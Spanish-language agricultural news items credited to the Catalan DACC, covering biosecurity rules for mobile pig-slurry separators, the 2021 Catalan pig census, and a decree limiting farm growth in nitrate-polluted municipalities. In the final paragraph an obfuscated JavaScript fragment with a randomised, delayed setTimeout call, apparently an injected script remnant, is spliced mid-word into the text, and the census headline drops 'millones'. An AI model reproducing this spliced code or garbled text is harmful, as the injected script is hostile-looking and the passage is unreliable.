Publicados los requisitos de bioseguridad y tramitación para los separadores móviles de fracción líquida y sólida de los purines porcinos

El objetivo es definir los requisitos que deben cumplir las explotaciones porcinas que deseen utilizar este sistema de tratamiento, que debe estar adecuadamente recogido en el plan de gestión de deyecciones ganaderas y, sobre todo, debe utilizarse con las máximas condiciones de bioseguridad.

 

El DACC ha publicado el documento de Utilización del sistema de separador móvil de fracción líquida y sólida de los purines en explotaciones porcinas: requisitos de bioseguridad y tramitación. Se trata de un documento que describe las condiciones mínimas de bioseguridad y estructurales que deben cumplir las explotaciones porcinas que quieran utilizar los separadores móviles de fracción líquida y sólida de los purines porcinos, al tiempo que indica cuál es el trámite administrativo por parte de los agentes implicados.

 

El separador sólido-líquido móvil es un aparato que se puede enganchar a varios vehículos tipo coches y tractores o estar instalado en la caja de un camión. Su función es separar el purín, en una fracción sólida (FS) y una fracción líquida (FL). El proceso de separación S-L permite una redistribución de los nutrientes, facilitando su gestión final. La FS se caracteriza por una concentración más elevada en aquellos componentes asociados a la fracción articulada, como la materia orgánica (MO) no soluble, el nitrógeno (N) orgánico y el fósforo (P), entre otros. En cambio, la FL se caracteriza por ser menos rica en algunos nutrientes. La parte líquida se almacenará en una balsa final y la fracción sólida en un estercolero impermeable con recogida de lixiviados (para la FS) y / o unos contenedores que habiliten el transporte y tara posterior.

 

Ante la creciente necesidad de aplicar sistemas de tratamiento en las granjas porcinas y dado que el tamaño de algunas de ellas hace muy difícil su optimización económica, se plantea la necesidad de utilización de este tipo de separadores móviles. Para que esto sea posible es necesario, por un lado, que estén adecuadamente recogidos en los planes de gestión de deyecciones ganaderas y, sobre todo, que esta utilización se haga con las máximas condiciones de bioseguridad.

 

Fuente: DACC

La cabaña porcina se estabiliza en Cataluña en alrededor de 7,9 cabezas

El Departamento de Acción Climática ha publicado los datos provisionales del mes de mayo de 2021 del censo de ganado porcino. La población objeto de estudio de la encuesta son todas las explotaciones de porcino de producción y reproducción incluidas en el Sistema de información Ganadera de Cataluña (SIR) en noviembre de 2020 que figuraban en estado activo. En total, se han encuestado 794 explotaciones, que representa el 13,26% de las explotaciones porcinas de Cataluña.

En los primeros meses del año 2021, la cabaña porcina parece haberse estabilizado en torno a los con un total de 7.903.788 cabezas, con una pequeña disminución del 1% respecto del año anterior. El censo total de efectivos sigue siendo el más alto de las últimas campañas, y sobre todo el número de efectivos de cebo de más de 50 kg, que llega a 3.374.658 cabezas (42,7% del total de la cabaña porcina ) y que prácticamente tiene una tendencia 100% alcista semestre tras semestre. En segundo lugar figuran los lechones, con un total de 2.555.539 cabezas (32,3%), seguido de cerdos de 20 a 49 kg, con 1.353.806 cabezas (17,1%), cerdas reproductoras, 617.282 cabezas (7 , 8%) y, finalmente los machos, con 2.503 cabezas.

Por provincias, Lleida encabeza el número de cabezas, con 4.657.996 cabezas, que representa el 58,9% del total, seguida de Barcelona, ​​con 1.775.875 de cabezas (22,5%), Girona, con 941.030 cabezas (11 , 9%) y Tarragona, con 528.887 cabezas (6,7%).

Este es el informe destacado del último boletín de Novedades Estadísticas que edita semanalmente el DACC con el objetivo de difundir las estadísticas elaboradas por el Departamento que han tenido salida durante la semana y también recoge los documentos de carácter estadístico publicados por otros organismos y / o instituciones nacionales e internacionales.

Fuente: DACC

El Gobierno limita cuatro años más el crecimiento de las granjas en las zonas con mayor concentración de ganado

Se trata de 68 municipios con un gran número de explotaciones y con el agua contaminada por nitratos procedentes de los purines. Los municipios afectados en la demarcación de Lleida son Bellmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Vilanova de Bellpuig y Soses

El Gobierno de la Generalitat ha aprobado el Decreto ley que alarga durante cuatro años más la limitación de ampliar y de instalar nuevas granjas en las zonas de Cataluña con un gran número de explotaciones y aguas contaminadas por nitratos procedentes de los purines. En concreto se trata de 68 municipios con presencia excesiva de nitratos en las aguas de estas áreas.

El Departamento de Acción Climática, Alimentación y Agenda Rural persigue el objetivo de evitar el excedente de purines, es decir, que las granjas existentes puedan gestionar las deyecciones de una manera más eficiente y adopten sistemas de tratamiento y valoricen estos fertilizantes naturales sin que aumente la presión en la gestión por un incremento del número de animales que se crían en estas zonas.

En Cataluña, hay aproximadamente unos ocho millones de cerdos, 700.000 cabezas de vacuno y 38 millones de aves que generan cada año unos 17 millones de toneladas de purines y 4,4 millones de toneladas de estiércol y gallinaza.

Desde el año 1998, la Agencia Catalana del Agua analiza la evolución de la calidad del agua y los nitratos en las aguas subterráneas y superficiales mediante más de 500 puntos de control. La evolución de la contaminación no sólo no se ha resuelto, sino que ha empeorado progresivamente. Actualmente, un 40,3% de la superficie total de Cataluña está declarada vulnerable a la contaminación por nitratos de origen agrario, lo que afecta 465 municipios, es decir, un 49% de todos los municipios catalanes.

Los 68 municipios incluidos en la limitación que ha aprobado el Gobierno están por encima del 1,2 de Índice de Carga Ganadera, que se calcula de acuerdo con la producción total de kilogramos de nitrógeno que producen las reses en relación con la superficie agrícola municipal que debe absorber. En estos municipios, ya hay 105 explotaciones que disponen de algún sistema de tratamiento, lo que supone la gestión del 34% de los excedentes de purines. Aparte, el 50% de los excedentes, los tratan empresas especializadas en residuos. Actualmente, por lo tanto, todavía hay un 16% de excedente de nitrógeno procedente de los purines que se debe exportar (con las correspondientes emisiones de dióxido de carbono) para hacer una gestión correcta.

El Departamento de Acción Climática, Alimentación y Agenda Rural promueve la valorización de las deyecciones como recurso dentro de un esquema de bioeconomía circular basada en el fomento del compostaje y de la fertilización orgánica de excelencia, ajustada a las necesidades de los cultivos. Todo ello con una aplicación hecha con maquinaria adecuada y, incluso, cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando sea necesario, la exportación de los excedentes de nutrientes.

Fuente: DACC

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